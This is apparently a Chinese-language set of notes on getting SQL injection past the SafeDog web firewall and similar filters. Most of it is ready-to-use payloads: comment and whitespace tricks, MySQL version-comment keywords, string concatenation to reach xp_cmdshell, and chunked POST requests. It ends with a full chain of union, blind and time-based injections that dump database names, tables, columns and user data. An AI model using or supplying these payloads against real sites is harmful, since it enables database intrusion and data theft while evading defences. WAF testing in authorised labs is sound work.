安全狗用的是3.1版本 网马库是2014-04-03
修改请求方式绕过
cookie和post默认是关闭的 如果允许所有请求或是post请求 则可以绕过防护
get请求被防火墙拦截
后台用的是request接受参数
改为POST提交直接绕过防火墙拦截
编码绕过
但是一般都会被waf拦截
复参数绕过
比如说原sql语句如下
id=1 union select user,password from mysql.user
可以修改为
1&id=union&id=select&id=user,password&id=from%20mysql.user
很多waf都可以绕过 但是安全狗最新版还是会拦截
waf触发规则的绕过
绕过策略一:特殊字符替换空格
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
上面这条user()被拦截去掉user就会执行成功 %23代表空格 -- 就是代表-- /*|%23--%23|*/也是代表空格 把空格替换成%0a/**/可以绕过waf
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
绕过策略二:特殊字符拼接
如:
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
maste并没有没加入黑名单 'master'+'r..xp' == master..xp +:字符串拼接 用两个没有被waf加入黑名单的字符串拼接完整的payload
大小写绕过
安全狗最新版的无法绕过 但是某些防火墙应该可以绕过
双写绕过:
安全狗并没有拦截 waf在过滤掉一个and后还剩一个and被带入到数据库执行
内联注释绕过:
/*!and*/1=1
还是被安全狗拦截 但是对其他的waf基本都是可以绕过的
利用waf本身的功能绕过
假如发现waf会把*替换为空 直接在union中间插入*绕过waf
其它方法
-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
使用其他变量或者命令对注入语句进行替换
正常的version()会被waf直接拦截
安全狗3.0以上会被拦截 但是3.0是不会被安全狗拦截的
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
= | like
组合绕过waf
http://192.168.222.128/test/sql.php?id=1/*!union*//*%!aa*//*!select*/ 1,2,3
下面我们具体讲解绕过方法:
1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00 user())
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00 user())
完整过狗注入语句
判断: 1'/**/%26%261%3d2%23
判断列数:1' order by 2%23
关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
分块传输
POST方法提交
添加http头信息
Transfer-Encoding: Chunked
或
还可以用此方法也可以过(注意观察d)
%0a是换行符
也可以通过以下方法绕过
Union -> /*!Union/*/**/
Select -> /*!/*!Select*/
Database() -> /*!database/*/**//*!/*!()*/
使用这种方法SQL语句依然可以正确执行,而且会完美过狗!
但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema,这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:
当mysql版本>=5.6时,可以用如下语句代替:
Select table_name from mysql.innodb_table_stats where database_name = database();